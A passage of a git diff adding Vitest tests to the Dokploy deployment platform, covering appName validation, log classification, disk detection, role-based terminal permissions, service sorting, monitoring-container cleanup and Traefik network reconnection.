])("refuses an appName with %s", (_, appName) => { + const result = apiCreateLibsql.safeParse({ ...validBase, appName }); + expect(result.success).toBe(false); + if (!result.success) { + const appNameIssues = result.error.issues.filter( + (issue) => issue.path[0] === "appName", + ); + expect(appNameIssues.map((issue) => issue.message)).toEqual([ + APP_NAME_MESSAGE, + ]); + } + }); + + it("accepts an appName of letters, numbers, dots, underscores and hyphens", () => { + const result = apiCreateLibsql.safeParse({ + ...validBase, + appName: "my-libsql.db_1", + }); + expect(result.success).toBe(true); + }); + + it("refuses an appName longer than 63 characters", () => { + const result = apiCreateLibsql.safeParse({ + ...validBase, + appName: "a".repeat(64), + }); + expect(result.success).toBe(false); + if (!result.success) { + const appNameIssues = result.error.issues.filter( + (issue) => issue.path[0] === "appName", + ); + expect(appNameIssues.map((issue) => issue.code)).toEqual(["too_big"]); + } + }); + + it("accepts an appName of 63 characters", () => { + const result = apiCreateLibsql.safeParse({ + ...validBase, + appName: "a".repeat(63), + }); + expect(result.success).toBe(true); + }); +}); diff --git a/apps/dokploy/__test__/logs/container-selection.test.ts b/apps/dokploy/__test__/logs/container-selection.test.ts new file mode 100644 index 000000000..d8af2ede4 --- /dev/null +++ b/apps/dokploy/__test__/logs/container-selection.test.ts @@ -0,0 +1,41 @@ +import { describe, expect, it } from "vitest"; +import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils"; + +const containers = [ + { containerId: "first-container" }, + { containerId: "selected-container" }, +]; + +describe("resolveContainerSelection", () => { + it("selects the first container when no container is selected", () => { + expect(resolveContainerSelection(undefined, containers)).toBe( + "first-container", + ); + }); + + it("preserves a manual selection when refreshed data contains it", () => { + const refreshedContainers = containers.map((container) => ({ + ...container, + })); + + expect( + resolveContainerSelection("selected-container", refreshedContainers), + ).toBe("selected-container"); + }); + + it("falls back to the first container when the selection disappears", () => { + expect(resolveContainerSelection("removed-container", containers)).toBe( + "first-container", + ); + }); + + it("keeps the current selection while container data is loading", () => { + expect(resolveContainerSelection("selected-container", undefined)).toBe( + "selected-container", + ); + }); + + it("clears the selection when no containers are available", () => { + expect(resolveContainerSelection("selected-container", [])).toBeUndefined(); + }); +}); diff --git a/apps/dokploy/__test__/logs/log-classification.test.ts b/apps/dokploy/__test__/logs/log-classification.test.ts new file mode 100644 index 000000000..edb6b9e51 --- /dev/null +++ b/apps/dokploy/__test__/logs/log-classification.test.ts @@ -0,0 +1,42 @@ +import { getLogType } from "@/components/dashboard/docker/logs/utils"; +import { expect, test } from "vitest"; + +test("classifies real failures as error", () => { + expect(getLogType("Error: connection refused at db:5432").type).toBe("error"); + expect(getLogType("[ERROR] something went wrong").type).toBe("error"); + expect(getLogType("Deployment failed").type).toBe("error"); + expect( + getLogType( + 'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1', + ).type, + ).toBe("error"); +}); + +test("does not classify explicit non-error key/values as error (#4538)", () => { + // ofelia job-completion summary for a successful run + expect( + getLogType( + 'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none', + ).type, + ).not.toBe("error"); + + expect(getLogType("request done, error: null").type).not.toBe("error"); + expect(getLogType("checks passed, failures=0").type).not.toBe("error"); + expect(getLogType('shutdown clean, error=""').type).not.toBe("error"); + expect(getLogType('job done failed=false error=""').type).not.toBe("error"); +}); + +test("keeps errors whose value merely starts with a no-error word", () => { + expect(getLogType("connect failed: no route to host").type).toBe("error"); + expect(getLogType("connection failed: no such host").type).toBe("error"); + expect( + getLogType("error: none of the configured nodes are available").type, + ).toBe("error"); + expect(getLogType("error: nil pointer dereference").type).toBe("error"); + expect(getLogType("request failed: 0 bytes received").type).toBe("error"); +}); + +test("keeps statusCode-based classification", () => { + expect(getLogType('{"statusCode": "500"}').type).toBe("error"); + expect(getLogType('{"statusCode": "204"}').type).toBe("success"); +}); diff --git a/apps/dokploy/__test__/monitoring/is-physical-disk.test.ts b/apps/dokploy/__test__/monitoring/is-physical-disk.test.ts new file mode 100644 index 000000000..be3fd9e0a --- /dev/null +++ b/apps/dokploy/__test__/monitoring/is-physical-disk.test.ts @@ -0,0 +1,104 @@ +import { + getHostSystemStats, + isPhysicalDisk, +} from "@dokploy/server/monitoring/utils"; +import { describe, expect, it, vi } from "vitest"; + +const GiB = 1024 ** 3; +const diskStat = (device: string, readGiB: number, writeGiB: number) => ({ + device, + readBytes: { toBytes: () => readGiB * GiB }, + writeBytes: { toBytes: () => writeGiB * GiB }, +}); + +vi.mock("node-os-utils", () => ({ + OSUtils: class { + cpu = { usage: async () => ({ success: false }) }; + memory = { info: async () => ({ success: false }) }; + network = { overview: async () => ({ success: false }) }; + disk = { + stats: async () => ({ + success: true, + data: [ + diskStat("nvme0n1", 50, 100), + diskStat("nvme0n1p1", 50, 100), + diskStat("nvme1n1", 50, 100), + diskStat("nvme1n1p1", 50, 100), + diskStat("md0", 50, 100), + diskStat("md0p1", 50, 100), + diskStat("dm-0", 50, 100), + diskStat("zram0", 10, 20), + ], + }), + }; + }, +})); + +describe("isPhysicalDisk (#5513, #5385)", () => { + it.each([ + "sda", + "sdab", + "hda", + "vda", + "xvda", + "nvme0n1", + "nvme1n1", + "mmcblk0", + ])("counts whole disk %s", (device) => { + expect(isPhysicalDisk(device)).toBe(true); + }); + + it.each([ + "sda1", + "sdab12", + "hda1", + "vda1", + "xvda1", + "nvme0n1p1", + "nvme1n1p4", + "mmcblk0p1", + ])("skips partition %s", (device) => { + expect(isPhysicalDisk(device)).toBe(false); + }); + + it.each(["md0", "md127", "md0p1", "md_d0p1", "dm-0", "dm-12"])( + "skips stacked device %s", + (device) => { + expect(isPhysicalDisk(device)).toBe(false); + }, + ); + + it.each(["loop0", "ram0", "zram0", "sr0", "fd0"])( + "skips virtual device %s", + (device) => { + expect(isPhysicalDisk(device)).toBe(false); + }, + ); + + it("counts each write once on an mdadm RAID1 host", () => { + const devices = [ + "nvme0n1", + "nvme0n1p1", + "nvme0n1p2", + "nvme0n1p3", + "nvme0n1p4", + "nvme1n1", + "nvme1n1p1", + "nvme1n1p2", + "nvme1n1p3", + "nvme1n1p4", + "md0", + "md1", + "md2", + "md3", + ]; + expect(devices.filter(isPhysicalDisk)).toEqual(["nvme0n1", "nvme1n1"]); + }); +}); + +describe("getHostSystemStats Block I/O (#5513, #5385)", () => { + it("sums only whole physical disks", async () => { + const stats = await getHostSystemStats(); + expect(stats.BlockIO).toBe("100.00GiB / 200.00GiB"); + }); +}); diff --git a/apps/dokploy/__test__/permissions/check-permission.test.ts b/apps/dokploy/__test__/permissions/check-permission.test.ts index b9f19d984..ee0e61d7a 100644 --- a/apps/dokploy/__test__/permissions/check-permission.test.ts +++ b/apps/dokploy/__test__/permissions/check-permission.test.ts @@ -126,6 +126,13 @@ describe("member is denied org-level enterprise resources (CVE: bypass via stati await expect(checkPermission(ctx, { server: ["read"] })).rejects.toThrow(); }); + it("member is denied server.terminal", async () => { + memberToReturn = mockMemberData("member"); + await expect( + checkPermission(ctx, { server: ["terminal"] }), + ).rejects.toThrow(); + }); + it("member is denied registry.create", async () => { memberToReturn = mockMemberData("member"); await expect( diff --git a/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts b/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts index bb6f5f18b..970c24d07 100644 --- a/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts +++ b/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts @@ -39,6 +39,8 @@ const ENTERPRISE_RESOURCES = [ "logs", "monitoring", "auditLog", + "vaultProvider", + "dnsProvider", ]; describe("enterpriseOnlyResources set", () => { diff --git a/apps/dokploy/__test__/permissions/resolve-permissions.test.ts b/apps/dokploy/__test__/permissions/resolve-permissions.test.ts index c85bde189..b78627ea9 100644 --- a/apps/dokploy/__test__/permissions/resolve-permissions.test.ts +++ b/apps/dokploy/__test__/permissions/resolve-permissions.test.ts @@ -105,6 +105,7 @@ describe("enterprise resources for static roles", () => { const perms = await resolvePermissions(ctx); expect(perms.server.read).toBe(false); + expect(perms.server.terminal).toBe(false); expect(perms.registry.read).toBe(false); expect(perms.certificate.read).toBe(false); expect(perms.destination.read).toBe(false); diff --git a/apps/dokploy/__test__/permissions/server-terminal.test.ts b/apps/dokploy/__test__/permissions/server-terminal.test.ts new file mode 100644 index 000000000..01545f97e --- /dev/null +++ b/apps/dokploy/__test__/permissions/server-terminal.test.ts @@ -0,0 +1,105 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mockMemberData = (role: string) => ({ + id: "member-1", + role, + userId: "user-1", + organizationId: "org-1", + accessedProjects: [] as string[], + accessedServices: [] as string[], + accessedEnvironments: [] as string[], + accessedServers: [] as string[], + canCreateProjects: false, + canDeleteProjects: false, + canCreateServices: false, + canDeleteServices: false, + canCreateEnvironments: false, + canDeleteEnvironments: false, + canAccessToTraefikFiles: false, + canAccessToDocker: false, + canAccessToAPI: false, + canAccessToSSHKeys: false, + canAccessToGitProviders: false, + user: { id: "user-1", email: "test@test.com" }, +}); + +let memberToReturn = mockMemberData("deployer"); +let rolesToReturn: { permission: string }[] = []; + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + member: { + findFirst: vi.fn(() => Promise.resolve(memberToReturn)), + findMany: vi.fn(() => Promise.resolve([])), + }, + organizationRole: { + findFirst: vi.fn(), + findMany: vi.fn(() => Promise.resolve(rolesToReturn)), + }, + }, + }, +})); + +vi.mock("@dokploy/server/services/proprietary/license-key", () => ({ + hasValidLicense: vi.fn(() => Promise.resolve(true)), +})); + +const { checkPermission, resolvePermissions } = await import( + "@dokploy/server/services/permission" +); + +const ctx = { + user: { id: "user-1" }, + session: { activeOrganizationId: "org-1" }, +}; + +const withPermissions = (permissions: Record) => { + rolesToReturn = [{ permission: JSON.stringify(permissions) }]; +}; + +beforeEach(() => { + vi.clearAllMocks(); + memberToReturn = mockMemberData("deployer"); + rolesToReturn = []; +}); + +describe("server.terminal on custom roles", () => { + it("a role with server.read alone cannot open a terminal", async () => { + withPermissions({ server: ["read"] }); + + await expect( + checkPermission(ctx, { server: ["read"] }), + ).resolves.toBeUndefined(); + await expect( + checkPermission(ctx, { server: ["terminal"] }), + ).rejects.toThrow(); + + const perms = await resolvePermissions(ctx); + expect(perms.server.read).toBe(true); + expect(perms.server.terminal).toBe(false); + }); + + it("a role with server.terminal can open a terminal", async () => { + withPermissions({ server: ["read", "terminal"] }); + + await expect( + checkPermission(ctx, { server: ["terminal"] }), + ).resolves.toBeUndefined(); + + const perms = await resolvePermissions(ctx); + expect(perms.server.terminal).toBe(true); + }); + + it("owner and admin keep terminal access", async () => { + for (const role of ["owner", "admin"]) { + memberToReturn = mockMemberData(role); + await expect( + checkPermission(ctx, { server: ["terminal"] }), + ).resolves.toBeUndefined(); + + const perms = await resolvePermissions(ctx); + expect(perms.server.terminal).toBe(true); + } + }); +}); diff --git a/apps/dokploy/__test__/server/server-health-subnet.test.ts b/apps/dokploy/__test__/server/server-health-subnet.test.ts new file mode 100644 index 000000000..9d0f7f120 --- /dev/null +++ b/apps/dokploy/__test__/server/server-health-subnet.test.ts @@ -0,0 +1,24 @@ +import { getSubnetCapacity } from "@dokploy/server/services/server-health"; +import { describe, expect, test } from "vitest"; + +describe("getSubnetCapacity", () => { + test("returns null for missing/invalid input", () => { + expect(getSubnetCapacity(undefined)).toBeNull(); + expect(getSubnetCapacity("")).toBeNull(); + expect(getSubnetCapacity("10.0.0.0")).toBeNull(); + expect(getSubnetCapacity("not-a-subnet")).toBeNull(); + expect(getSubnetCapacity("10.0.0.0/33")).toBeNull(); + expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull(); + }); + + test("excludes network and broadcast addresses", () => { + expect(getSubnetCapacity("10.0.1.0/24")).toBe(254); + expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534); + expect(getSubnetCapacity("10.99.99.0/30")).toBe(2); + }); + + test("returns 0 for subnets too small to hold a host", () => { + expect(getSubnetCapacity("10.0.0.0/31")).toBe(0); + expect(getSubnetCapacity("10.0.0.0/32")).toBe(0); + }); +}); diff --git a/apps/dokploy/__test__/services/overview-backups-icon.test.ts b/apps/dokploy/__test__/services/overview-backups-icon.test.ts new file mode 100644 index 000000000..ff0d06049 --- /dev/null +++ b/apps/dokploy/__test__/services/overview-backups-icon.test.ts @@ -0,0 +1,113 @@ +import { + getBackupOverviewIcon, + getServiceOverviewIcon, +} from "@dokploy/server/services/overview"; +import { describe, expect, test } from "vitest"; + +describe("getServiceOverviewIcon", () => { + test("returns a db icon for every known DB engine type", () => { + for (const type of [ + "postgres", + "mariadb", + "mysql", + "mongo", + "redis", + "libsql", + ] as const) { + expect(getServiceOverviewIcon({ type, icon: null })).toEqual({ + kind: "db", + engine: type, + }); + } + }); + + test("returns a custom icon for application/compose with a service icon set", () => { + expect( + getServiceOverviewIcon({ + type: "application", + icon: "data:image/png;base64,x", + }), + ).toEqual({ kind: "custom", url: "data:image/png;base64,x" }); + expect( + getServiceOverviewIcon({ + type: "compose", + icon: "data:image/png;base64,y", + }), + ).toEqual({ kind: "custom", url: "data:image/png;base64,y" }); + }); + + test("falls back to a generic icon for application/compose without a service icon", () => { + expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual( + { + kind: "generic", + type: "application", + }, + ); + expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({ + kind: "generic", + type: "compose", + }); + }); +}); + +describe("getBackupOverviewIcon", () => { + test("returns a db icon for a database backup with a known databaseType", () => { + expect( + getBackupOverviewIcon({ + databaseType: "postgres", + serviceType: null, + serviceOwnerType: "postgres", + }), + ).toEqual({ kind: "db", engine: "postgres" }); + }); + + test("returns a webServer icon for a web-server database backup", () => { + expect( + getBackupOverviewIcon({ + databaseType: "web-server", + serviceType: null, + serviceOwnerType: "web-server", + }), + ).toEqual({ kind: "webServer" }); + }); + + test("returns a db icon for a compose-type backup dumping a known DB engine", () => { + expect( + getBackupOverviewIcon({ + databaseType: "mysql", + serviceType: null, + serviceOwnerType: "compose", + }), + ).toEqual({ kind: "db", engine: "mysql" }); + }); + + test("returns a db icon for a volume backup of a known DB engine service", () => { + expect( + getBackupOverviewIcon({ + databaseType: null, + serviceType: "mongo", + serviceOwnerType: "mongo", + }), + ).toEqual({ kind: "db", engine: "mongo" }); + }); + + test("returns a generic application icon for a volume backup of an application", () => { + expect( + getBackupOverviewIcon({ + databaseType: null, + serviceType: "application", + serviceOwnerType: "application", + }), + ).toEqual({ kind: "generic", type: "application" }); + }); + + test("returns a generic compose icon for a volume backup of a compose service", () => { + expect( + getBackupOverviewIcon({ + databaseType: null, + serviceType: "compose", + serviceOwnerType: "compose", + }), + ).toEqual({ kind: "generic", type: "compose" }); + }); +}); diff --git a/apps/dokploy/__test__/services/overview-domains-sort.test.ts b/apps/dokploy/__test__/services/overview-domains-sort.test.ts new file mode 100644 index 000000000..1e43a22d3 --- /dev/null +++ b/apps/dokploy/__test__/services/overview-domains-sort.test.ts @@ -0,0 +1,79 @@ +import type { OverviewDomain } from "@dokploy/server/services/overview"; +import { sortOverviewDomains } from "@dokploy/server/services/overview"; +import { describe, expect, test } from "vitest"; + +const makeDomain = (overrides: Partial): OverviewDomain => ({ + domainId: "id", + host: "example.com", + path: "/", + port: 3000, + customEntrypoint: null, + https: true, + certificateType: "letsencrypt", + createdAt: "2024-01-01T00:00:00.000Z", + enabled: true, + domainType: "application", + serviceOwnerId: "app", + serviceOwnerType: "application", + serviceName: "App", + projectId: "project", + projectName: "Project", + environmentId: "environment", + environmentName: "Environment", + ...overrides, +}); + +describe("sortOverviewDomains", () => { + test("sorts by createdAt asc/desc", () => { + const domains = [ + makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }), + makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }), + makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }), + ]; + + expect( + sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId), + ).toEqual(["old", "mid", "new"]); + expect( + sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId), + ).toEqual(["new", "mid", "old"]); + }); + + test("sorts by port asc/desc, with portless domains always last", () => { + const domains = [ + makeDomain({ domainId: "none", port: null }), + makeDomain({ domainId: "low", port: 80 }), + makeDomain({ domainId: "high", port: 8080 }), + ]; + + expect( + sortOverviewDomains(domains, "port-asc").map((d) => d.domainId), + ).toEqual(["low", "high", "none"]); + expect( + sortOverviewDomains(domains, "port-desc").map((d) => d.domainId), + ).toEqual(["high", "low", "none"]); + }); + + test("port sort with all domains portless is a no-op", () => { + const domains = [ + makeDomain({ domainId: "a", port: null }), + makeDomain({ domainId: "b", port: null }), + ]; + + expect( + sortOverviewDomains(domains, "port-desc").map((d) => d.domainId), + ).toEqual(["a", "b"]); + }); + + test("does not mutate the input array", () => { + const domains = [ + makeDomain({ domainId: "b", port: 8080 }), + makeDomain({ domainId: "a", port: 80 }), + ]; + const original = [...domains]; + + sortOverviewDomains(domains, "port-asc"); + + expect(domains).toEqual(original); + }); +}); diff --git a/apps/dokploy/__test__/services/overview-services-sort.test.ts b/apps/dokploy/__test__/services/overview-services-sort.test.ts new file mode 100644 index 000000000..b90bb05a8 --- /dev/null +++ b/apps/dokploy/__test__/services/overview-services-sort.test.ts @@ -0,0 +1,106 @@ +import type { OverviewService } from "@dokploy/server/services/overview"; +import { sortOverviewServices } from "@dokploy/server/services/overview"; +import { describe, expect, test } from "vitest"; + +const makeService = (overrides: Partial): OverviewService => ({ + id: "id", + type: "application", + name: "name", + appName: "app-name", + status: "running", + createdAt: "2024-01-01T00:00:00.000Z", + serverId: null, + serverName: null, + icon: null, + projectId: "project", + projectName: "Project", + environmentId: "environment", + environmentName: "Environment", + lastDeployAt: null, + ...overrides, +}); + +describe("sortOverviewServices", () => { + test("sorts by name asc/desc", () => { + const services = [ + makeService({ id: "b", name: "Bravo" }), + makeService({ id: "a", name: "Alpha" }), + makeService({ id: "c", name: "Charlie" }), + ]; + + expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual( + ["a", "b", "c"], + ); + expect( + sortOverviewServices(services, "name-desc").map((s) => s.id), + ).toEqual(["c", "b", "a"]); + }); + + test("sorts by type asc/desc", () => { + const services = [ + makeService({ id: "app", type: "application" }), + makeService({ id: "pg", type: "postgres" }), + makeService({ id: "comp", type: "compose" }), + ]; + + expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual( + ["app", "comp", "pg"], + ); + expect( + sortOverviewServices(services, "type-desc").map((s) => s.id), + ).toEqual(["pg", "comp", "app"]); + }); + + test("sorts by createdAt asc/desc", () => { + const services = [ + makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }), + makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }), + makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }), + ]; + + expect( + sortOverviewServices(services, "createdAt-asc").map((s) => s.id), + ).toEqual(["old", "mid", "new"]); + expect( + sortOverviewServices(services, "createdAt-desc").map((s) => s.id), + ).toEqual(["new", "mid", "old"]); + }); + + test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => { + const services = [ + makeService({ id: "never", lastDeployAt: null }), + makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }), + makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }), + ]; + + expect( + sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id), + ).toEqual(["new", "old", "never"]); + expect( + sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id), + ).toEqual(["old", "new", "never"]); + }); + + test("lastDeploy sort with all services never deployed is a no-op", () => { + const services = [ + makeService({ id: "a", lastDeployAt: null }), + makeService({ id: "b", lastDeployAt: null }), + ]; + + expect( + sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id), + ).toEqual(["a", "b"]); + }); + + test("does not mutate the input array", () => { + const services = [ + makeService({ id: "b", name: "Bravo" }), + makeService({ id: "a", name: "Alpha" }), + ]; + const original = [...services]; + + sortOverviewServices(services, "name-asc"); + + expect(services).toEqual(original); + }); +}); diff --git a/apps/dokploy/__test__/setup/monitoring-setup.real.test.ts b/apps/dokploy/__test__/setup/monitoring-setup.real.test.ts new file mode 100644 index 000000000..590d67b21 --- /dev/null +++ b/apps/dokploy/__test__/setup/monitoring-setup.real.test.ts @@ -0,0 +1,261 @@ +import { execSync } from "node:child_process"; +import { docker } from "@dokploy/server/constants"; +import { setupMonitoring } from "@dokploy/server/setup/monitoring-setup"; +import { afterAll, beforeEach, describe, expect, it, vi } from "vitest"; + +const REAL_TEST_TIMEOUT = 120000; +const SERVICE_NAME = "dokploy-monitoring"; +const TEST_IMAGE = "busybox:latest"; + +// Mock ONLY db-backed lookups and remote I/O. Dockerode stays real and talks to +// the local daemon, so the legacy-container cleanup is exercised for real. +vi.mock("@dokploy/server/services/server", () => ({ + findServerById: vi.fn().mockResolvedValue({ + serverId: "test-server", + serverType: "deploy", + sshKeyId: null, // -> getRemoteDocker returns the local docker instance + metricsConfig: { + server: { + type: "Remote", + port: 4500, + token: "test-token", + urlCallback: "http://localhost/callback", + cronJob: "0 0 * * *", + retentionDays: 2, + refreshRate: 60, + thresholds: { cpu: 0, memory: 0 }, + }, + containers: { refreshRate: 60, services: { include: [], exclude: [] } }, + }, + }), +})); + +vi.mock("@dokploy/server/services/settings", () => ({ + getDokployImageTag: vi.fn(() => "latest"), +})); + +vi.mock("@dokploy/server/utils/docker/utils", () => ({ + pullImage: vi.fn().mockResolvedValue(undefined), + pullRemoteImage: vi.fn().mockResolvedValue(undefined), +})); + +vi.mock("@dokploy/server/utils/process/execAsync", () => ({ + execAsync: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }), + execAsyncRemote: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }), +})); + +const containerExists = async (name: string) => { + try { + await docker.getContainer(name).inspect(); + return true; + } catch (error: any) { + if (error.statusCode === 404) return false; + throw error; + } +}; + +const serviceExists = async (name: string) => { + try { + await docker.getService(name).inspect(); + return true; + } catch (error: any) { + if (error.statusCode === 404) return false; + throw error; + } +}; + +// Swarm keeps converging a service for a bit after it's created (scheduling +// tasks, resolving endpoints), which bumps Version.Index on its own. Calling +// setupMonitoring again before that settles races that internal bump, so wait +// for two consecutive reads to agree before treating the service as stable. +const waitForServiceConvergence = async (name: string, timeoutMs = 5000) => { + const deadline = Date.now() + timeoutMs; + let lastIndex: string | null = null; + while (Date.now() < deadline) { + const inspect = await docker.getService(name).inspect(); + if (inspect.Version.Index === lastIndex) return; + lastIndex = inspect.Version.Index; + await new Promise((resolve) => setTimeout(resolve, 50)); + } +}; + +const swarmTaskNames = async () => { + const list = await docker.listContainers({ all: true }); + return list + .flatMap((c) => c.Names.map((n) => n.replace(/^\//, ""))) + .filter((n) => n.startsWith(`${SERVICE_NAME}.`)); +}; + +const cleanup = async () => { + try { + await docker.getService(SERVICE_NAME).remove(); + } catch {} + try { + await docker.getContainer(SERVICE_NAME).remove({ force: true }); + } catch {} + for (const name of await swarmTaskNames()) { + try { + await docker.getContainer(name).remove({ force: true }); + } catch {} + } +}; + +// Recreates the pre-v0.30.0 standalone agent stuck in a crash loop. +const createLegacyZombie = async () => { + const container = await docker.createContainer({ + name: SERVICE_NAME, + Image: TEST_IMAGE, + Cmd: [ + "sh", + "-c", + "echo 'Error starting metrics cleanup system: empty spec string'; exit 1", + ], + HostConfig: { RestartPolicy: { Name: "always" }, NetworkMode: "host" }, + }); + await container.start(); +}; + +const pullTestImage = async () => { + try { + await docker.getImage(TEST_IMAGE).inspect(); + return; + } catch {} + await new Promise((resolve, reject) => + docker.pull(TEST_IMAGE, (err: any, stream: any) => + err + ? reject(err) + : docker.modem.followProgress(stream, (e: any) => + e ? reject(e) : resolve(), + ), + ), + ); +}; + +// The code under test hardcodes the production name, so this suite cannot +// namespace its fixtures. Skip rather than wipe a real agent on a Dokploy host. +const hasRealMonitoring = () => { + const query = (cmd: string) => { + try { + return execSync(cmd, { stdio: ["ignore", "pipe", "ignore"] }) + .toString() + .trim(); + } catch { + return ""; + } + }; + + return ( + query( + `docker service ls --filter name=${SERVICE_NAME} --format '{{.Name}}'`, + ) !== "" || + query( + `docker ps -a --filter name=^${SERVICE_NAME}$ --format '{{.Names}}'`, + ) !== "" + ); +}; + +const hasDocker = () => { + try { + execSync("docker info", { stdio: "ignore" }); + return true; + } catch { + return false; + } +}; + +describe.skipIf(!hasDocker() || hasRealMonitoring() || !process.env.CI)( + "setupMonitoring - legacy container cleanup (real docker)", + () => { + beforeEach(async () => { + await pullTestImage(); + await cleanup(); + }, REAL_TEST_TIMEOUT); + + afterAll(async () => { + await cleanup(); + }, REAL_TEST_TIMEOUT); + + it( + "removes the legacy standalone container left behind by the swarm migration", + async () => { + await createLegacyZombie(); + expect(await containerExists(SERVICE_NAME)).toBe(true); + + await setupMonitoring("test-server"); + + expect(await containerExists(SERVICE_NAME)).toBe(false); + expect(await serviceExists(SERVICE_NAME)).toBe(true); + }, + REAL_TEST_TIMEOUT, + ); + + it( + "removes the legacy container without touching swarm tasks, which are named dokploy-monitoring..", + async () => { + const taskName = `${SERVICE_NAME}.1.qh3ldvg2h9x0test`; + const task = await docker.createContainer({ + name: taskName, + Image: TEST_IMAGE, + Cmd: ["sleep", "3600"], + }); + await task.start(); + await createLegacyZombie(); + + await setupMonitoring("test-server"); + + expect(await containerExists(SERVICE_NAME)).toBe(false); + expect(await containerExists(taskName)).toBe(true); + const inspect = await docker.getContainer(taskName).inspect(); + expect(inspect.State.Running).toBe(true); + }, + REAL_TEST_TIMEOUT, + ); + + it( + "is idempotent when no legacy container exists", + async () => { + expect(await containerExists(SERVICE_NAME)).toBe(false); + + await expect(setupMonitoring("test-server")).resolves.not.toThrow(); + await waitForServiceConvergence(SERVICE_NAME); + await expect(setupMonitoring("test-server")).resolves.not.toThrow(); + + expect(await serviceExists(SERVICE_NAME)).toBe(true); + }, + REAL_TEST_TIMEOUT, + ); + + it( + "deploys the service even when removing the legacy container fails", + async () => { + const failingDocker = { + getContainer: () => ({ + remove: async () => { + const error: any = new Error("device or resource busy"); + error.statusCode = 500; + throw error; + }, + }), + getService: docker.getService.bind(docker), + createService: docker.createService.bind(docker), + }; + + const remoteDocker = await import( + "@dokploy/server/utils/servers/remote-docker" + ); + const spy = vi + .spyOn(remoteDocker, "getRemoteDocker") + .mockResolvedValue(failingDocker as any); + + try { + await expect(setupMonitoring("test-server")).resolves.not.toThrow(); + expect(spy).toHaveBeenCalled(); // guards against the spy silently not intercepting + expect(await serviceExists(SERVICE_NAME)).toBe(true); + } finally { + spy.mockRestore(); + } + }, + REAL_TEST_TIMEOUT, + ); + }, +); diff --git a/apps/dokploy/__test__/traefik/forward-auth.test.ts b/apps/dokploy/__test__/traefik/forward-auth.test.ts index 9bc9a1f9e..7b2ecca63 100644 --- a/apps/dokploy/__test__/traefik/forward-auth.test.ts +++ b/apps/dokploy/__test__/traefik/forward-auth.test.ts @@ -35,6 +35,7 @@ const baseDomain: Domain = { stripPath: false, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; describe("forwardAuthMiddlewareName", () => { diff --git a/apps/dokploy/__test__/traefik/reconnect-services.test.ts b/apps/dokploy/__test__/traefik/reconnect-services.test.ts new file mode 100644 index 000000000..a60b0504b --- /dev/null +++ b/apps/dokploy/__test__/traefik/reconnect-services.test.ts @@ -0,0 +1,71 @@ +import { reconnectServicesToTraefik } from "@dokploy/server/services/settings"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mocks = vi.hoisted(() => ({ + findMany: vi.fn(), + execAsync: vi.fn(), + execAsyncRemote: vi.fn(), +})); + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + compose: { + findMany: mocks.findMany, + }, + }, + }, +})); + +vi.mock("@dokploy/server/utils/process/execAsync", () => ({ + execAsync: mocks.execAsync, + execAsyncRemote: mocks.execAsyncRemote, +})); + +describe("reconnectServicesToTraefik", () => { + beforeEach(() => { + vi.clearAllMocks(); + mocks.findMany.mockResolvedValue([]); + }); + + it("does not execute an empty local command when no isolated deployments exist", async () => { + await reconnectServicesToTraefik(); + + expect(mocks.execAsync).not.toHaveBeenCalled(); + }); + + it("does not execute an empty remote command when no isolated deployments exist", async () => { + await reconnectServicesToTraefik("server-id"); + + expect(mocks.execAsyncRemote).not.toHaveBeenCalled(); + }); + + it("reconnects isolated deployments to the local Traefik network", async () => { + mocks.findMany.mockResolvedValue([ + { appName: "first-compose" }, + { appName: "second-compose" }, + ]); + + await reconnectServicesToTraefik(); + + expect(mocks.execAsync).toHaveBeenCalledOnce(); + expect(mocks.execAsync).toHaveBeenCalledWith( + 'docker network connect first-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n' + + 'docker network connect second-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n', + ); + expect(mocks.execAsyncRemote).not.toHaveBeenCalled(); + }); + + it("reconnects isolated deployments on a remote server", async () => { + mocks.findMany.mockResolvedValue([{ appName: "remote-compose" }]); + + await reconnectServicesToTraefik("server-id"); + + expect(mocks.execAsyncRemote).toHaveBeenCalledOnce(); + expect(mocks.execAsyncRemote).toHaveBeenCalledWith( + "server-id", + 'docker network connect remote-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n', + ); + expect(mocks.execAsync).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/dokploy/__test__/traefik/server/update-server-config.test.ts b/apps/dokploy/__test__/traefik/server/update-server-config.test.ts index ba09c2c80..d1a03fedc 100644 --- a/apps/dokploy/__test__/traefik/server/update-server-config.test.ts +++ 